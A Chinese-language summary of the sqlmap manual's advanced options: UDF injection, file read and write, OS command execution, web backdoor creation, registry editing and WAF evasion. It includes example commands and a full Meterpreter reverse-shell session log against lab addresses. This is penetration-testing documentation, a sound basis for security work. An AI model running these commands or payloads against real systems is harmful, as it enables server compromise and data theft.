SQLmap使用手册小结
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其他高级
用户自定义函数注入
参数:–udf-inject,–shared-lib
你可以通过编译mysql
注入你自定义的函数(UDFs)或PostgreSQL
在windows
中共享库,DLL
,或者Linux/Unix
中共享对象,
sqlmap
将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap
将会移除它们。
系统文件操作
从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL
或Microsoft SQLServer
,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
把文件上传到数据库服务器中
参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQLServer
,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
运行任意操作系统命令
参数:–os-cmd,–os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server
,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap
上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()
。
那么他创建的这两个函数可以执行系统命令。在Microsoft SQLServer,sqlmap
将会使用xp_cmdshell
存储过程,
如果被禁(在Microsoft SQL Server2005
及以上版本默认禁制),sqlmap
会重新启用它,如果不存在,会自动创建。
用–os-shell
参数也可以模拟一个真实的shell
,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL
时),仍然可能使用INTOOUTFILE
写进可写目录,来创建一个web后门。支持的语言:
1、ASP
2、ASP.NET
3、JSP
4、PHP
Meterpreter配合使用
参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path
当数据库为MySQL,PostgreSQL或Microsoft SQLServer
,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP
连接,
这个连接可以是一个交互式命令行的Meterpreter
会话,sqlmap
根据Metasploit
生成shellcode
,并有四种方式执行它:
1. 通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2. 通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3. 通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4. 通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof
列举一个MySQL
例子:
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn
--msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF ‘sys_bineval‘ already exist
[hh:mm:33] [INFO] checking if UDF ‘sys_exec‘ already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF ‘sys_bineval‘ from the binary UDF file
[hh:mm:34] [INFO] creating UDF ‘sys_exec‘ from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database
underlying
operating system?
[1] Via UDF ‘sys_bineval‘ (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally,
please wait..
\_
| | o
\_ \_ \_ \_ \_|\_ \__, , \_ | | \_\_ \_|\_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF
‘sys_bineval‘,
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 ->
192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The ‘priv‘ extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
默认情况下MySQL在Windows
上以SYSTEM
权限运行,PostgreSQL
在Windows
与Linux
中是低权限运行,
Microsoft SQL Server 2000
默认是以SYSTEM
权限运行与2008大部分是以NETWORK SERVICE
有时是LOCAL SERVICE
。
对Windows注册表操作
当数据库为MySQL,PostgreSQL
或Microsoft SQL Server
,并且当前web应用支持堆查询。当然,当前连接数据库的用户也需要有权限操作注册表。
读取注册表值
参数:–reg-read
写入注册表值
参数:–reg-add
删除注册表值
参数:–reg-del
注册表辅助选项
参数:–reg-key,–reg-value,–reg-data,–reg-type
需要配合之前三个参数使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1
--reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test
--reg-type=REG_SZ --reg-data=1
常规参数
从sqlite中读取session
参数:-s
sqlmap
对每一个目标都会在output
路径下自动生成一个SQLite
文件,如果用户想指定读取的文件路径,就可以用这个参数。
保存HTTP(S)日志
参数:-t
这个参数需要跟一个文本文件,sqlmap
会把HTTP(S)
请求与响应的日志保存到那里。
非交互模式
参数:–batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
强制使用字符编码
参数:–charset
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
–charset=GBK
爬行网站URL
参数:–crawl
sqlmap
可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset ‘ascii‘
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
规定输出到CSV中的分隔符
参数:–csv-del
当dump保存为CSV格式时(–dump-format=CSV)
,需要一个分隔符默认是逗号,用户也可以改为别的
如:
–csv-del=”;”
DBMS身份验证
参数:–dbms-cred
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,
可以切换用户如MicrosoftSQL Server的OPENROWSET
函数
定义dump数据的格式
参数:–dump-format
输出的格式可定义为:CSV,html,SQLITE
预估完成时间
参数:–eta
可以计算注入数据的剩余时间。
例如Oracle
的布尔型盲注:
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
然后:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release
10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: ‘Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod‘
sqlmap先输出长度,预计完成时间,显示百分比,输出字符
刷新session文件
参数:–flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。
会清空之前的session,重新测试该目标。
自动获取form表单测试
参数:–forms
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。
但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
忽略在会话文件中存储的查询结果
参数:–fresh-queries
忽略session文件保存的查询,重新查询。
使用DBMS的hex函数
参数:–hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
针对PostgreSQL
例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1"
--banner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND
5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION()
AS
CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58))
AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: ‘pg_query() [<a
href=‘function.pg-query‘>function.pg-query</a>]: Query failed: ERROR: invalid
input syntax for type numeric:
":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:"
in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>‘
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
自定义输出的路径
参数:–output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径
例如:–output-dir=/tmp
从响应中获取DBMS的错误信息
参数:–parse-errors
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10
is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>‘
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>‘
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>‘
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]
其他的一些参数
使用参数缩写
参数:-z
有使用参数太长太复杂,可以使用缩写模式。 例如:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u
"www.target.com/vuln.php?id=1"
可以写成:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
还有:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb
-T users -u "www.target.com/vuln.php?id=1"
可以写成:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u
"www.target.com/vuln.php?id=1"
成功SQL注入时警告
参数:–alert
设定会发的答案
参数:–answers
当希望sqlmap
提出输入时,自动输入自己想要的答案可以使用此参数: 例子:
$ python sqlmap.py -u
"http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E
--answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter ‘id‘
heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL‘. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for ‘MySQL‘ extending
provided level (1) and risk (1)? [Y/n] N
[...]
发现SQL注入时发出蜂鸣声
参数:–beep
发现sql注入时,发出蜂鸣声。
启发式检测WAF/IPS/IDS保护
参数:–check-waf
WAF/IPS/IDS
保护可能会对sqlmap
造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。sqlmap
将会使用一个不存在的参数来注入测试
例如:
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables
WHERE 2>1
如果有保护的话可能返回结果会不同。
清理sqlmap的UDF(s)和表
参数:–cleanup
清除sqlmap注入时产生的udf与表。
禁用彩色输出
参数:–disable-coloring
sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。
使用指定的Google结果页面
参数:–gpage
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。
使用HTTP参数污染
参数:-hpp
HTTP参数污染可能会绕过WAF/IPS/IDS
保护机制,这个对ASP/IIS与ASP.NET/IIS
平台很有效。
测试WAF/IPS/IDS保护
参数:–identify-waf
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"
--identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset ‘ascii‘
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘USP Secure Entry Server
(United Security Providers)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘BinarySEC Web Application
Firewall (BinarySEC)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetContinuum Web
Application Firewall (NetContinuum/Barracuda Networks)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Hyperguard Web Application
Firewall (art of defence Inc.)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Cisco ACE XML Gateway
(Cisco Systems)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘TrafficShield (F5
Networks)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Teros/Citrix Application
Firewall Enterprise (Teros/Citrix Systems)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KONA Security Solutions
(Akamai Technologies)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Incapsula Web Application
Firewall (Incapsula/Imperva)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘CloudFlare Web Application
Firewall (CloudFlare)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Barracuda Web Application
Firewall (Barracuda Networks)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘webApp.secure (webScurity)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Proventia Web Application
Security (IBM)‘
[xx:xx:23] [DEBUG] declared web page charset ‘iso-8859-1‘
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KS-WAF (Knownsec)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetScaler (Citrix Systems)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Jiasule Web Application
Firewall (Jiasule)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘WebKnight Application
Firewall (AQTRONIX)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘AppWall (Radware)‘
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘ModSecurity: Open Source
Web Application Firewall (Trustwave)‘
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified ‘ModSecurity: Open Source Web
Application Firewall (Trustwave)‘. Please consider usage of tamper scripts
(option ‘--tamper‘)
[...]
模仿智能手机
参数:–mobile
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent
来模仿手机登陆。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
安全的删除output目录的文件
参数:–purge-output
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
例如:
$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory ‘/home/user/sqlmap/output‘...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
启发式判断注入
参数:–smart
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。
例子:
$ python sqlmap.py -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch
--smart
[...]
[xx:xx:14] [INFO] testing if GET parameter ‘ca‘ is dynamic
[xx:xx:14] [WARNING] GET parameter ‘ca‘ does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘ca‘ might
not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘ca‘
[xx:xx:14] [INFO] testing if GET parameter ‘user‘ is dynamic
[xx:xx:14] [WARNING] GET parameter ‘user‘ does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘user‘
might not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘user‘
[xx:xx:14] [INFO] testing if GET parameter ‘id‘ is dynamic
[xx:xx:14] [INFO] confirming that GET parameter ‘id‘ is dynamic
[xx:xx:14] [INFO] GET parameter ‘id‘ is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter ‘id‘ might be
injectable (possible DBMS: ‘MySQL‘)
[xx:xx:14] [INFO] testing for SQL injection on GET parameter ‘id‘
heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL‘. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for ‘MySQL‘ extending provided level (1) and
risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘
[xx:xx:14] [INFO] GET parameter ‘id‘ is ‘AND boolean-based blind - WHERE or
HAVING clause‘ injectable
[xx:xx:14] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING
clause‘
[xx:xx:14] [INFO] GET parameter ‘id‘ is ‘MySQL >= 5.0 AND error-based - WHERE
or HAVING clause‘ injectable
[xx:xx:14] [INFO] testing ‘MySQL inline queries‘
[xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 stacked queries‘
[xx:xx:14] [INFO] testing ‘MySQL < 5.0.12 stacked queries (heavy query)‘
[xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind‘
[xx:xx:24] [INFO] GET parameter ‘id‘ is ‘MySQL > 5.0.11 AND time-based blind‘
injectable
[xx:xx:24] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 20 columns‘
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other potential injection technique
found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter ‘id‘ is ‘MySQL UNION query (NULL) - 1 to 20
columns‘ injectable
[...]
初级用户向导参数
参数:–wizard
面向初级用户的参数,可以一步一步教你如何输入针对目标注入。
参考资料:
安全牛课堂-kali-linux-web
篇
sqlmap用户手册中文版:https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html
sqlmap用户手册:http://drops.xmd5.com/static/drops/tips-143.htm
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